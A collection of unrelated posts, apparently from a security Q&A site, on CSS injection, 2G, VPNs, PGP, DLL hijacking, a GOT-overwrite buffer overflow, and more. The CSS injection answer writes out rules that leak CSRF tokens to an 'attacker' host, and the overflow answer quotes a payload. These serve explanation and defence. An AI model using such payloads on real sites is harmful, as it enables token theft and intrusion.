Would it be possible for a bad actor to fake an image and inject code into the application (for example load a .php file)? I've tested it with the URL being something like example.com/script.js but the image icon is empty and the link simply is in the source code without any code being loaded so a direct injection is not possible. Therefore, can I fake an URL to look as it would be an image?

This attack is called CSS Injection and it can be quite a beast.

What is CSS Injection?

With HTML 5 becoming the shiny new thing for web developers, CSS has learned a few new tricks as well. You can do quite powerful things with CSS selectors, things that many web developers will look at and thing "What? CSS can do that!?".

As CSS became ever more powerful, various hackers started to take a look at it and found interesting ways of exploiting it.

For instance, if an attacker is able to inject arbitrary CSS code, they could run the following:

input[name=csrf_token][value=^a] {
  background-image: url(http://attacker/log?a);
}
input[name=csrf_token][value=^b] {
  background-image: url(http://attacker/log?b);
}

This exploit code takes advantage of several CSS features. It selects an <input> element with two attributes. The first is "name" and the second is "value". (e.g. <input name="csrf_token" value="a5c319fabb...">). Any such input field starting with a value of "a" would then cause the background-image of said input field being set to be loaded from http://attacker/log?a. The attacker could log this and thus get information about the CSRF token being sent.

This alone would not be enough to read the CSRF token, but with enough rules covering every possible CSRF token (or password), an attacker could reliably read out CSRF tokens of any user who is served this custom CSS.

Of course, an attacker would need more to actually exploit this vulnerability, but it's a start.

Why have I never heard of CSS Injection before?

A burglar does not care about your super high-end nigh-pickproof lock core if the door in the back is made out of glass and can be smashed with a big rock.

Similarly, would-be hackers on the internet looking to make a quick profit don't care about the most sophisticated exploits possible, but rather about something that will work quite reliably on many websites they try it on.

As such, CSS Injection is an exploitation technique that is somewhat obscure, as your average "y0u be3n h4xx3d"-actor will probably use XSS or SQL-Injection to get what they want.

How can I prevent CSS Injections?

Don't let anyone inject CSS.

The best way to prevent CSS Injections is to not let users ever inject anything into a CSS file that you serve. If you would like to allow users to customize their UI, give them selections (e.g. "color1", "color2", etc.) and turn them into concrete values on the server side (e.g. "color1" would match with "#490088").

Use Input-Validation to ensure sane input.

If you absolutely must let users inject their CSS - which I heavily recommend against - then you have to validate the input. This means if you have to let a user use their own color for an element, validate it against the following RegEx:

/^#?[0-9a-fA-F]{6}$/

Any input that deviates from being a six-digit hexadecimal input with optional # prepended will be rejected.

What about including malicious code like .js or .svg files as background image?

Yes and no. Linked JavaScript resources will be interpreted as image, not as script and therefore will not run. SVG files should be safe too, as the W3C defines that scripts within SVG files "must not be executed". The question if browsers adhere to this standard or not is another one and out of scope.

As mentioned above, I would always beware of allowing users to do anything "custom".


Can I instruct a Telco to prevent 2G connections from our phones? Given that 2G is proven to be insecure (broken) at DefCon, is it possible for a Corporate IT department to work with the Telco and ban 2G connections for their devices?

Some cell phones are unable to disable 2G connections or exclusively use 3G, and so I'm trying to shore up this issue with the Telco if possible.

Asking the telco to do this would not solve your problem. The biggest issue with 2G is that the base stations are relatively cheap (approx. £600; this is from someone who gave a talk at Over The Air) and, loaded with OpenBTS, can allow an attacker to set up a nefarious 2G base station wherever they want. Unless you can lock the phone down to only use 3G, or to only use certain base stations, you have a problem.

Here is a rather good video from Chaos Computer Club Congress which explains a lot of the details of how mobile phone networks work (I've been to other talks where they've demonstrated 2G highjacking with an OpenBTS base station). It can get very technical (and there are a grotesque number of acronyms) but may help with anything mobile.

http://www.youtube.com/watch?v=759Ftfe2TUM


VPN provide privacy, but does it provide security as well like virus checking? I have a question in my exam last week on Network Security whether a malware can be transferred over a VPN tunnel?

My answer was YES, since VPN only provide encryption, and makes sure data travel from point A to point B encrypted.

What I understand is, a generic VPN will encrypt any kind of data, even if its a virus or a malware, and transfer it securely over a network.

Once data is encrypted, even VPN cannot scan it or perform any checking on that data unless it is reached to point B where it is decrypted.

I am still confused if I was correct.

While it is possible that some product exists that attempts to do virus detection, a VPN alone does not provide any assurances regarding the content that flows through it. You are right that the VPN may be encrypted (a VPN doesn't need encryption to be a VPN, as its main use is to tunnel in to remote networks, although nearly all VPNs are encrypted), and thus network IDS systems will typically not be able to analyze the contents. That said, sensors could be placed on the VPN server to inspect traffic after encryption terminates.

So yes, it is certainly possible for malware to travel/spread over a VPN. It's just data like anything else.


What are WiFi certificates used for? What are they? Recently my university updated the certificates for authenticating on their WiFi network.  I was hesitant to accept it because I wasn't sure what accepting it entailed or even what it was and what it's used for.

There wasn't any general question about them as far as my search revealed, so I was hoping someone could shed some general light and point me in the right direction of learning more.

Increasingly, wifi access points (or the portals which serve as "sign in" pages for visitors and guests) feature support for SSL certificates.  These certificates are designed to serve a dual purpose:

1)  Validation: They provide cryptographically-backed assurance to the visitor that the device they're connecting to genuinely belongs to the organization they think they're connecting with.

2)  Encryption: They serve to encrypt the connection between the client device and the server/host end (in this case, the wifi hosting device).

Just about every web browser comes pre-installed with dozens.. even hundreds of identity certificates that belong to Public (or External) Certificate Authorities (CA's) such as Verisign, Comodo, Digicert, etc.  This is done mostly out of convenience so that when you connect to a site whose certificate is signed by one of these vendors, 99% of the general public will have their browsers recognize them as legitimate.

However, most large private organizations at some point will want to deploy their own PKI for greater control and cost-savings.  So they'll implement their own Certificate Authority.  Then they'll configure the Microsoft network to push that internal CA's certificate onto all the organization's client devices' Trust Stores.  So now in addition to Digicert, Comodo, Verisign, that laptop or mobile device will now trust certificates signed by that internal CA.

That last step is crucial. If this is not done, visitors will see ugly error messages warning that the Certificate's Not Trusted, or something like that. The certificate will still provide visitors with encryption, sure, but zero validation benefit. It's possible the university has deployed its own internal PKI, pushed certificates to its employee devices, and left students to scratch their heads, wondering, why is my web browser or client software throwing up errors when I try to connect?  And that would make sense, especially since the University doesn't control your machine.

It's likely because the University is using an internal PKI, and your device doesn't have their CA's certificate installed in your Certificate Trust Store. To solve this, just ensure that the certificate you're being presented with is authentic (you could call the service desk and confirm the certificate's fingerprint, if you know how to look for that--if not, look in the certificate details).  Once you're certain, download the Root or Intermediate certificate and install that into your Trusted Root Store.  You may have to restart your browser.  Once that's done, however, you shouldn't see those errors anymore.

Here's a good article to reference:
https://technet.microsoft.com/en-us/library/cc754841.aspx


How to protect API endpoint from abuse in mobile App? Let's assume I have a mobile app that fetches the news feed from an url on my server.

GET/ https://example.com/api/v1/newsfeed

Is there a way to restrict the access to this endpoint to only from within the mobile app, not other sources souch as a script (Python, NodeJs,... ) or software (Postman, Browser....) ?

I assume that this url should be compiled in binary and since the request is secured (https) packet sniffing software will only reveal the base url  (example.com in this case) and the endpoint & body will be encrypted.

But I assume that there still ways to know this endpoint. I suspect two possibilities

Installing a thrid party certificate on the mobile phone to decrypt the packets
Using a decompiler

I just have a rough idea but I am not sure about the technical feasibilities of these two methods.

You can mitigate the threat of your first possibility by implementing certificate pinning. This will prevent a third party cert from being issued and trusted by your APP.

In terms of decompiling you could try obscuring the URL, but dynamic analysis would still be able to eventually find the URL.

You may want to perform a check on the server side instead. Have the server issue a challenge, and the client does some work to create a response to the challenge. That may increase the difficulty of any exploit written.

One simple solution is to check for the header of the request and make sure things like the user agent and other attributes match what you expect.


What is "web of trust" in PGP and S-MIME? I'm studying network and system security and I came across the phrase Web of Trust:

  In cryptography, a web of trust is a concept used in PGP, GnuPG, and
  other OpenPGP-compatible systems to establish the authenticity of the
  binding between a public key and its owner. Its decentralized trust
  model is an alternative to the centralized trust model of a public key
  infrastructure (PKI), which relies exclusively on a certificate
  authority (or a hierarchy of such). As with computer networks, there
  are many independent webs of trust, and any user (through their
  identity certificate) can be a part of, and a link between, multiple
  webs.

I want a clearer definition and some example if possible.

You trust A and A tells you that K is the key of B. Therefore, you believe that K is the key of B. Of course, this can be extended to indirect chains. For example if you trust the judgement of A, you can specify that you also trust anyone that A trusts.

PGP users sometimes also have key signing events. The idea is that you show up and prove your credentials to other people at the event who will then sign your key. This now means that whoever trusts someone at the event that signed your key, can check the signature of your key made at the event and thus verify that the key they found online actually is your key.

These trust relationships form a network and this is your "Web of Trust".


Do viruses infect recovery partitions? In the "Good ol' Days", Windows came on a CD, and when one got a virus, one had original, write only medium to clean up one's computer completely.

Nowadays, most computers have a "recovery partition", where the OEM has a disk image of a Windows installer. However, this image is technically RW.

Do viruses infect this partition to survive factory resets?

What methods do OEMs use to prevent this partition from being infected?

Back in the days many viruses infected almost every binary they could find but these days are gone. The majority of malware is quiet now and tries to hide itself in a preferably unobtrusive place like the System Volume Information directory which is by default locked for every user even the administrative ones. This directory is a good place to hide because it exists on every modern (and not so modern) Windows system which makes the majority of all systems targeted by malware. This is not the case when it comes to recovery partitions. They aren't present everywhere and to infect them in a way that enables them to survive the restore process might be not the easiest thing to do.

So technically there are for sure viruses that infect the recovery partition because they infect all or random binaries but they will infect the recovery partition "by accident" and mostly in a way that won't survive a system restore from that partition. I have never heard of a malware that is targeting recovery partitions in particular.

A malware developer who specifically wants to realize this needs to know how the recovery process works and this process will differ from vendor to vendor and maybe even from model to model . This increases the expense for malware greatly.

I think the general problem here is that an infected file on the recovery partition might not cause an infection on the restored system. There are some binaries but the majority of the data is in my experience stored in a image of the partition that will be restored. When the malware infects the binaries and they are executed to start the recovery process they will only run on the already infected system but after the reboot they are gone. So the attacker needs to manipulate the image and maybe even the recovery tool if it does verify the checksum of the image that is going to be restored.

Overall it is surely possible but not very efficient because it is a very specific attack that won't work on the majority of all infected systems which makes it unattractive for malware developers.


Clarification regarding CVSS Will happy for 2 clarifications regarding CVSS:

1)  What is better for the references?
CVSSv2 or CVSSv3?
V3 is new, but V2 is mature.

2)  Why there are differences in CVSS scores between NVD NIST repository and Red Hat repository?

For example:

https://access.redhat.com/security/cve/cve-2016-7167 CVSS v2: 4.3

https://nvd.nist.gov/vuln/detail/CVE-2016-7167 CVSS v2: 7.5

CVSS is a scoring system, it is subjective and is open to interpretation by the person scoring the vulnerability, if you look at the two scores you'll see that one rates high confidentiality impact and one rates none.

On which one to use, there is no real right answer here, it's what's right for you. In my organisation we use  version 3, this guide from Acunetix might help you make up your mind.
Acunetix CVSS version guide


Tamper-proofing/checking handmade signature I would like to print pre-signed documents with a verifiable OTP on it.

I'm a web/system developer, crypto and security enthusiast. Somehow, I'm now the head of HR in a hotel in Congo. As an IT guy, I want to do the most with less work, so for instance I've developped an intranet that automatically generates the required certificates (employer's certificates, training certificates, ...), with my own signature + company's stamp on it, as PDF.

For now, I'm the only one authorized to generate "pre-signed" documents, but it's not hard to scan and crop a document to extract this area, so I'm looking for a way to paste (inside the signature area) something like an OTP to be able to control the validity of a document.

For instance, we assign a given ID to a document, and assign a given OTP-like to the signature on that same document. Then, for anyone in the company, it will be possible to check on the intranet a given ID which will lead to the associated OTP (or the other way around).

Now my question is what would be the best non guessable way to implement it? UUIDs and/or a cryptographic signature seem to be logical choices, but too long (to paste in the signature area) IMO. Any idea?

Thank you for your help.

PS: I precise "Congo" above because there is currently NO LAW about numeric documents. Everything have to be printed, signed and aknowledged.

Before answering the question itself, one thing:
Don't do it, because there is a huge flaw in your thinking.

If your boss comes to you with a faked document with your copied hand-written signature, and asks you why you did this, how you will convince him that the document was not made by you, with malicious intentions? The digital signature software is solely made and used by you => If you can't be trusted, the software can't be trusted, and vice versa. If the software tells the boss "that's wrong", it could either be true or a continuation of your lies. Assuming the boss is not supid, you can't convince him that you did nothing wrong. ... It's a bit like self-signed HTTPS certificates. "I guarantee that I am honest". Well...

...

If you still want to do it:

Assumption: You're properly protecting your system against unauthorized access, and you don't plan to give others access to create / store documents.

UUID are not better than crypt. signatures, so I won't talk about it at all.

A crypt. signature without online storage of the whole document:
Tldr: Some fallacies, and tedious in the best case.
You don't have to print the signature in the place where the hand-written signature is, it can be anywhere on the paper. And if done right, it's secure, but there is a fallacy whole governments get wrong:
Don't sign the binary content of a file. If you do, the paper document can't be verified, because scanning won't get you 100% the same file again. (And there's the problem of inserting the signature in the document after signing = changing the document...).
You need some process to sign only the core content. And to verify, someone needs to retype everything in the computer, without any error.

Crypt. Signature with online storage is better, but...

If you have the document online, you just can print a link to the online version, and to verify, the reader can compare it with the paper version visually. No need for any signature.


Security considerations when naming S3 Buckets What security considerations should be taken into account when naming an S3 bucket?

If you embed a bucket name into an application (of any sort), and subsequently you delete that bucket, then someone else might create a bucket with the same name and now effectively have a way to influence your application.  Because of this, it's better to deliver bucket names to applications as configuration rather than embedding the name in code.


Can a device be TLS compliant without RSA? Let's consider an embedded device which supports ECC and some symmetric cryptographic primitives but not the RSA algorithm.

Can it be TLS compliant? I think that if the device and the server share a cipher suite which has nothing to do with RSA, then there is no problem.

The RFC 5246 makes me doubtful because of this section:

  Mandatory Cipher Suites

  In the absence of an application profile standard specifying otherwise,
  a TLS-compliant application MUST implement the cipher suite
  TLS_RSA_WITH_AES_128_CBC_SHA (see Appendix A.5 for the definition).

So what should I conclude?

This clearly says "In the absence of an application profile standard specifying otherwise". Which means if you write a TLS stack and expect arbitrary TLS implementations to connect then you must implement the given cipher as the minimal common cipher. If instead you need the TLS stack only for a specific application and define the ciphers used by the application as ECC only then you don't need to implement this specific cipher.


Signature that can only be verified by author and recipient - without pre-shared key Desiderata:

Alice wants to send a message to Bob for him to keep and to be able to refer to, such that Bob can be certain that the message came from Alice and was not tampered with.
Alice also wishes to store a copy of the message such that she can refer to it in future, and be sure that it has not been tampered with.
Some time after Bob has verified Alice's message, Mallory obtains access, on an ongoing basis, to copies of all information that Alice and Bob possess or receive (including plaintexts and signatures/MACs), aside from secrets Alice and Bob store in their minds.
Despite Mallory's access to all this information, Mallory still cannot prove that Alice ever signed the message.

Context:

Alice rightfully trusts that Bob's public OpenPGP key is indeed Bob's.
Alice and Bob both keep their OpenPGP private keys out of Mallory's reach (e.g. using OpenPGP smart cards).

My question: regardless of whether OpenPGP is used in the solution, can Alice achieve her desiderata?

As long as Bob keeps his private key secret you can simply encrypt everything which only Bob should see with Bobs public key. This also includes the signature, i.e. when sending a mail from Alice to Bob:

encrypt the mail with Bobs public key
make a detached signature for this mail using Alice private key
encrypt this detached signature using Bobs public key
include this encrypted signature with the mail

Since Bobs private key is needed to get back to the original signature and this key is still secret, Mallory will not be able to get the original signature and thus cannot validate it. Bob instead can verify the signature.

Of course the whole procedure depends on the idea that Mallory can at most get access to the original message sent from Alice to Bob and never to the original signature.

As for the requirement that Alice wants to keep a copy of the message: there are several ways to do this and I don't see that this requirement needs to be part of the process. But to not uselessly leak information she might want to refrain from using their widely known public key for this.


Anti Skimmer and Anti fraud? Would you please tell me what is the difference between Anti-skimmer and Anti-fraud in ATMs?

Anti-skimming techniques are just a subset of anti-fraud techniques. Anti-fraud in ATMs is the collection of defense mechanism against payment card fraud. It includes anti-skimming devices, cameras embedded in ATMs, measures to prevent shoulder surfing, etc.

Anti-skimming devices in particular are devices installed on or embedded in the ATM. They prevent the illegitimate copying of the payment card information.


Can a smartphone user prevent Google / Apple / Microsoft from finding out where s/he is? If yes, how? Inspired by the question How does Google know where I am?.

If someone has a smartphone and uses it (it is switched on), is there any way in which s/he can surely prevent Google (or Apple, Microsoft, or whoever has created the operating system) from knowing very accurately where s/he is?  This answer explains how Google knows — can an ordinary user stop Google from knowing?  If yes, how?

Yes - disable ALL networking (Mobile, WiFi, Bluetooth, ...)!

You can still make calls and use SMS. But beware of ever turning networking back on, because depending on your settings the phone might log where you have been and then upload that into the "cloud".

But that's not really practical. The most reasons why people want a smartphone require internet access.

There is a complete open-source Android called Replicant. This wouldn't allow Google to track you, but is still not completely open. It is probably the best you can get at the moment, but it supports very few (older) devices and is far from complete.

edit:
And of course remember that while Google/Apple/Microsoft won't be able to track you, your mobile provider always can. And because of various SS7 insecurities, probably everyone else on the planet who cares can also track your location at cell level if he has your number, IMSI,IMEI,...


Execute form environmental variable while stack is not executable Strange thing happened. I created EGG=NOPs + shellcode. Then i get the address of EGG;

I made buffer overflow and jumped to it and get the shell(address of shell is the second parametr). How is this possible if the stack is not executable?

That's surely because you are not executing anything in the stack. Without the binary in question, I will try to guess what is happening here.

With the first print "A"*268 + '\x68\x96\x04\x08' you are probably overwriting a pointer to point to 0x08049668. This address is probably a GOT entry for a function called later like printf() or exit().

Then, in the second argument you specify the value that the pointer is pointing to. In other words, you overwrite that GOT entry (0x08049668) with your shell code address (0xbffff891).

So, when the program calls that shared library function (exit(), printf(), whatever(), ...), your shell code will be called instead, because it has been overwritten.

In this process, no code is put in the stack. A pointer in the stack is overwritten. That's all. Then you use that overwritten pointer to overwrite a shared library function address with the shell code address.


Are IP addresses used for tracking / advertising? Many advertisers use tracking cookies or user-accounts (e.g. being logged into facebook or google while web browsing) to create relevant targeted advertising.

However, what about IP addresses alone? For people that share an IP address (e.g. family home router, or a business), is it possible that they will receive advertising that has been directed to them because of what someone else on that IP has been doing (on a different computer)?

From a technical standpoint, this can be easily done, but

does it make sense from an advertising point of view?
Is it a privacy issue if you can guess what other people from your IP address are searching for based on ads you receive?
Is this something that is already occurs commonly in 2015?

For a detailed user profiling IP addresses by its own are not exact enough because in today's world of mobile devices the IP address of the same user changes too often and also multiple users have the same public IP address.

But IP addresses are used to get the approximate location of the user and thus do location aware advertisements. Or they can be associated with some organization (company, university) and thus add additional information to the user profile. Together with a known profile of the company targeted ads can be delivered to specific business areas (IT security, health care, education...) or single companies. Such detailed profiling is actually offered by the advertisement companies.

Interestingly the same targeting techniques are also used to deliver malware in targeted attacks against some company. And increasingly the ad-networks are used to deliver this malware (malvertisement).


Credit card data sent as a plain image format The full Account number data plus Personally Identifiable Information (PII) for a credit card is captured in a document that is scanned as an image for later processing.  This image is then uploaded to another application.  I am concerned that these scanned images contain all credit card data (Primary Account Number, Cardholder name, Expiry date, CVV number) and other PII information such as Residential Address and Phone number, all in plain text, though saved as an image.

The data is sent over HTTPS protocol.  I am looking out for further more controls to strengthen this from capturing the track data at the first point.  I request for more insights on this.

(Bit more explained: The card data is collected in document written down (all data in a credit card).  The document is scanned and the image is sent through an application to the service provider.  The service provider agent sees the data and manually enters it on another application.  This application has the truncation enabled)

Regardless of the format it is in, storing full PAN data increases security risk and, consequently, it’s scope of PCI compliance.

You would need to make sure that at every step, these compliance requirements are met:

One-way hashes based on strong cryptography
Truncation
Strong cryptography
Index tokens and pads

If you storing PAN data as indicated, then PCI DSS Requirement 3.4 requires that you render it unreadable and unrecoverable through one of those methods.

If you implement one of those methods, you are fine.

If not you have to implement one of those on that scanned image. Encryption of an image as a ZIP would be one option. Key management is always an issue with encryption, but if properly architected, it is feasible.


How do Cloud Encryption Gateways and CASB work? Cloud Encryption Gateways (CEG) and Cloud Access Security Brokers(CASB) are becoming popular to ensure the security and confidentiality of the data leaving to Cloud Service Providers.  How do they provide such services on the data leaving the organization at the gateway ? Do they do TLSProxy/SSLProxy for the traffic ?

CASBs are on premises or cloud based security policy enforcement points which are placed between consumers of cloud services and cloud service providers.

CASB reside between cloud services and their users and intercepts the sensitive data and replace it with tokens or encrypted values before it is passed to the cloud for processing and storage. CASB can reside on premise as a gateway. For better understanding, see diagrammatic representation.


booting from linux CD and visiting https website only my friend wants to make sure he visits certain websites very securely. Is booting from linux cd and visiting only https website secure, meaning only he'll have access to data? He'll be on wi-fi of home router that is WPA2-Personal as security type.

Yes, this is a good, pragmatic approach that should provide a reasonable level of security against many threats that he might face.  It is not perfect (for instance, it doesn't prevent the sites he visits from including external resources over HTTP), but it's probably good enough for most purposes, including, e.g., online banking.

If he uses Firefox, if he can arrange that the copy of Firefox on his bootable Linux CD has the HTTPS Everywhere extension installed, that would be a nice addition.  HTTPS Everywhere is intended to help direct you to the HTTPS version of popular sites that are accessible over HTTPS.  But this may be unnecessary, depending upon his habits.  For instance, if he only views one or two web sites, and is careful to always type "https" into the address bar, then HTTPS Everywhere may be unnecessary.

If he also needs to protect his privacy or anonymity, he might consider using Tor's Live CD, which comes bundled with Tor for anonymity.

P.S. See also the question on Secure Linux Desktop.


Find IM user location via netstat? I got sent an article today (http://hakerin.com/facebook-user-location-finder-noobs/). With the click-bait title "Facebook User location Finder" Of course I clicked it.

Going through the "article" there is not a lot of details given. And I thought I would try it out.

It basically stated that it was possible to find out the location of a Facebook user that sent you a Facebook message. Specifically, by looking at the IP addresses that appear in the "Foreign Address" column of Netstat. To find the geo-location one has to copy the last added IP address from the list into a IP address lookup tool like http://whatismyipaddress.com/. Then copy the coordinates and use google maps to find the exact location of the person.

After some time getting the preferred Netstat arguments and some filtering with awk netstat -ntpw | awk '{print $5}'. The  GEO locations the IP addresses hold are mostly in America some in Ireland and some in the Netherlands. When I enter the coordinates in google maps I get unknown locations.

This is just fake, right? Or did it used to work like this? If so, that would seem very concerning.

That article is wrong and that website in general seems like a very unreliable source for anything.

With the netstat tool, among other stuff, you can see established TCP connections.

When you use Facebook messenger (or any other chat), at least one server is between you and the person on the other side, it's not a peer-to-peer connection. Hence the IP you see using netstat is an IP of a chat server (or whatever other obscure infrastructure, not know to us simple users) that you established connection with.


How to prevent user guess the key (password), if he have access to all the data (except the key) Imagine that all my users have access to all the database of the product. I need to protect one field in the database for every row. I must save the value for later use (cannot be a one-way hash). Think for example that it can be a SSN

The user knows how the field looks before (the user knows his SSN), and the attacker knows how the field looks after encryption.
I don't want the user to be able to find the key and decrypt all the SSN's.

The only things, that I'm sure is that my attacker will not find the source code. So I can hard code the key.

In other words:

I need access to the original value.
Only me have the key.
The attacker has access to all encrypted data
The attacker knows for one record, what was the original data (before encryption.

Which algorithm do you recommend me to use?

Be very careful.  Don't ignore the fact that an attacker can brute force the SSNs from your database without knowing the encryption key.

If your attacker can use your system to encrypt an SSN, (perhaps by signing up a user, changing the value of SSN, and watching for the changed encrypted SSN field in the database) he can learn encrypted SSNs simply by trial and error.  Imagine him setting the SSN to 000-00-0000.  Your system encrypts it, and he compares the encrypted value to all the other encrypted SSNs in your database.  If his test value matches one of the other values, he has learned that person's SSN.  He then changes his SSN to 000-00-0001, and tries again.

Given 999,999,999 tries, he will be able to build up a "rainbow table" that contains every possible SSN.  But he certainly doesn't need to do that much work to make a profit.

Most attackers are opportunistic.  They don't need every SSN in your database to commit identity fraud, they only need to guess one SSN to start stealing.  (The more SSNs they steal, the richer they can get, so of course they want as many as they can.)  So maybe they only have time to run their attack for a little while, and they will still be satisfied with guessing a few.

The more people in the database, the more likely the attacker will be successful quicker.

Additionally, it's much easier than random guessing.  Many people are unaware that until just a few years ago, SSNs were issued by geographic region.

Consider an attacker from Utah that wants to commit identity fraud using a Utah address.  His attack will guess only numbers in the range from 528-00-0000 through 529-99-9999.  That only takes 2 million guesses, not 1 billion, and is likely to have a high rate of success on your customers that have Utah listed as the state on their address.

The search space for SSNs is so small it is easily searchable by an attacker with modest resources.  You need to take extra steps to protect the data and the systems from this kind of attack.


Who do I inform when a website is compromised I often receive phishing emails claiming to be big companies like PayPal.

When I check the link I remove anything which could be used to confirm that it was me who clicked and open the link in a virtual machine.

Most of the time the fake sites look to be hosted by small companies. Most likely hacked in some way.

Who should I inform when I think that a site has been compromised?

In the past I have informed the owner and the registrar but never get a response.

You're doing right. If the admin@xx or webmaster@xxx didn't respond, you may check their website and see if there's any official social media, e.g. Twitter and Facebook. To be ethical, use direct message or private message. Sometimes they're more active in social media.


How does DTLS use a CBC cipher if the application data is not reliable over UDP? From what I understand, when using DTLS, the TLS handshake is made reliable, but the transport of application data is not.

I'm looking at a PCAP from the DTLS section of the Wireshark site.  The cipher TLS_RSA_WITH_AES_256_CBC_SHA was chosen.

Now when using CBC, the decryption of a message is dependent on the successful receipt of the previous message.  However, given that DTLS does not reliably transport application data, it seems this would break the stream if a packet were lost.

So, is there something I missing?  Can CBC work when using DTLS (over UDP), or should another cipher be chosen?

The paper http://crypto.stanford.edu/~nagendra/papers/dtls.pdf describes how DTLS explicitly implements sequence numbers, and uses explicit IV, so ciphers normal TLS CBC are supported.


DLL hijack privileges DLL hijacking means that malicious software gets admin rights from default or it means you need to elevate your privileges first?
Because I tried to change a DLL in Windows/System32 folder, but I can't do it even though I ran my software with admin rights.

DLL hijacking requires an application that is vulnerable and the code in DLL gets the privileges the program calling it has. If the vulnerable program e.g. runs as SYSTEM or with administrator privileges (after the UAC prompt), the DLL gets the administrative privileges, but if the DLL is called from a process running as normal user, it has the same privileges the user has.
You are not supposed nor need to be able to change DLLs inside %SystemRoot%\System32\. You just need to be able to place your malicious DLL in a location that gets searched before the legitimate DLL, abusing the default Dynamic-Link Library Search Order with DLL Search Order Hijacking. For example if a desktop application is using a DLL from System32\, it may first search for the DLL with that name from its own directory. There are also other techniques like phantom DLL hijacking, DLL redirection, relative path DLL hijacking, but essentially the goal is always to trick a trusted application into loading an arbitrary DLL.
The DLL replacement you suggest is also listed on the same article from Wietze Beukema, but if replacing the DLL requires administrative privileges you don't yet have, that's not really privilege escalation, is it?
Of course there are some limitations. The program might check that the DLL is properly signed with a valid signature. The program might also crash, if the DLL doesn't fulfil its needs e.g. if there isn't a function it tries to call or it returns unexpected data. For these reasons all applications aren't vulnerable to DLL hijacking at all, and DLL hijacking might require the malicious DLL to more or less mimic the behaviour of the original legitimate DLL.


What motivates wi-fi adapter-manufacturers to not allow MAC address changes in Windows? I believe my Windows 10 computer does not allow me to change my wi-fi MAC address (unless
I were to write my own firmware for the wi-fi adapter, but this would take lots of reverse-
engineering on my part and is not practical), which seems to be the standard now.  I
understand that the government and router-manufacturers might prefer this address to be
locked, but is there any law pushing this preference to the adapter-manufacturers?  Is
Microsoft requesting it to reduce hacking?

I think most advanced computer users would prefer to be able to change their MAC address,
so it seems current adapters are not matching the demand.

Microsoft is doing this to reduce hacking and MAC conflicts on public wireless networks. Let's say you go to a coffee shop and connect to their wireless network. If you have the right tools you can scan the network and find out every devices MAC address currently connected to the endpoint. If you want you can take one of the MAC addresses and switch it with yours. To do any real damage you would need to get into the router and update its ARP (Address Resolution Protocol) table. Although this would require a pretty sophisticated attacker, Microsoft does not want to take the risk. Hope this helps!


Is "non-repudiation" automatically proven, given the other three tenets of info security? Just to say it, the four tenets are:

Confidentiality - The message the recipient gets can be proven not to have been read by anyone else since it was encoded.
Integrity - The message the recipient gets can be proven not to have been changed since it was encoded.
Authenticity - The message the recipient gets can be proven to have been encoded by (edit) a positively-identified sender.
Non-repudiation - The sender, given a message received by a recipient, cannot validly deny that the message was sent by him or that it was not the original content sent by him.

This last point seems redundant. If you can prove that the sender sent the message, and separately prove that nobody has changed (or even seen) the message while in transit, then the combination is proven by definition; that the sender and nobody else sent exactly that message and nothing else.

... At least that's my take on it. So, the question is, is there a situation (other than compromise of cryptographic secrets, which indicate a different culpability on the sender's part) in which you can verify the confidentiality and integrity of the message, and the authenticity of the message and its sender, but the sender can still validly repudiate the message?

EDIT: CodesInChaos makes a very good point; you can begin a confidential conversation with a remote party and exchange information, and prove that the information wasn't read or changed, and could only have come from the party with whom you opened the channel. All of this without having a clue who you're talking to.

This kind of undermines the point of "authenticity", though. If something is "authentic" or "genuine", it is what it looks like and/or what its supplier claims it to be. In communications, the very notion of a message being "authentic" implies that its stated source is its actual source. For the message to be "authenticated" as coming from someone, you therefore must know who that someone is in the first place.

Therefore, perhaps a change in definition of "Authenticity" is called for: "The message the recipient gets can be proven to have been encoded by a positively-identified sender". If you cannot identify the sender, you cannot authenticate the message as, in part, having that sender as its source, and therefore of course the purported sender can claim it's fake. This is true even if the message can be proven to be confidential, unchanged, and having come from a definite source location.

One simple protocol that can be verified by a certain target user but not by third party:

Use a Diffe-Hellman keyexchange on your key and the receivers key
Use the shared key to encrypt a message and add a MAC

This protocol offers the first three properties, but not the fourth. So the answer is NO.

Everybody who knows the shared secret can forge the MAC. But since by default only the sender and the recipient know it, the message is still authenticated as coming from that sender as far as the legitimate reception is concerned.

But the reception can't prove who sent the message, so the scheme doesn't provide non-repudiation.

A popular protocol that is signs its data, providing (technical) non-repudiation are GPG encrypted emails, a popular protocol that only uses MACs for the user data is TLS. Some protocols like OTR go out of their way to increase deniability as much as possible(e.g. by leaking obsolete MAC keys) while still providing the first three properties to the two legitimate users.


Use javascript variable instead of session cookie I have decided to plunge deep into Angular-like technologies, where all  pages are practically just one page that gets never reloaded. And at this point I had the idea, instead of using cookies (which I don't really need), why not authenticate with the server, get a key, and keep this key in ram as a Javascript variable, throwing away  the cookie technology and the deadful "this site uses cookes to store etc." message.

In my mind this is more secure since nothing is written, everything is in RAM and is at least as safe as with the traditional cookie method.

But before I use it, I want to ask you if do you believe the same or if it is a bigger security issue than what I think.

The primary security reason to avoid cookies would be to prevent CSRF attacks, which is a valid goal. Cookies were not well-thought-out from a security standpoint. On the other hand, there are well-established approaches to avoiding CSRF, so it's not a hugely valuable technique.

From a privacy standpoint, cookies (especially third-party cookies) are dangerous. For this reason, some users and/or browsers block them, which can provide developers with a functional reason to use something else.

However, even for a single-page application (SPA), you probably want to persist your session token. The standard way to do this from JS is to use local storage (either persistent or session storage), which is basically a way to store JS variables for a particular site across user visits, or at least page loads within a given session. All modern browsers support local storage.

The main security downside of local storage (or any other way of doing programmatic session management on the client, instead of relying on the automatic behavior of cookies), is that an attacker that gets XSS (Cross-Site Scripting) within your web app can steal the token and hijack the session to impersonate the victim, even after the victim closes the browser (by contrast, the typical session cookie is flagged as httponly, which prevents JS from reading it and restricts session hijacking to only as long as the victim leaves the web app open).


How do key servers resolve conflicts? According to the PGP network FAQ

  While a number of key servers exist, it is only necessary to send your key to one of them. The key server will take care of the job of sending your key to all other known servers.

Quite convenient. Let's say Bob, despite the advice above, decides to upload his public key to two servers at the same time - one of which is compromised. The user has confidence in both servers and doesn't check if the key hasn't been changed. He signs off for the day.

At some point the servers will propagate the keys and a collision will occur. One of the following will happen:

The server will accept both keys (most likely)
The newest key will be rejected
The servers will "vote" on what they believe is the valid key (least likely)

Bob can now revoke the key he uploaded whenever he wants, however assuming (1) above, the false key will stay with the server indefinitely.

My question: Is there a way for a user to validate the correct key to the other (honest) servers? Perhaps sending a signed email with the correct key? Or is there another conflict resolution system?

Correction: When I say "conflict" I mean two public keys corresponding to the same email address.

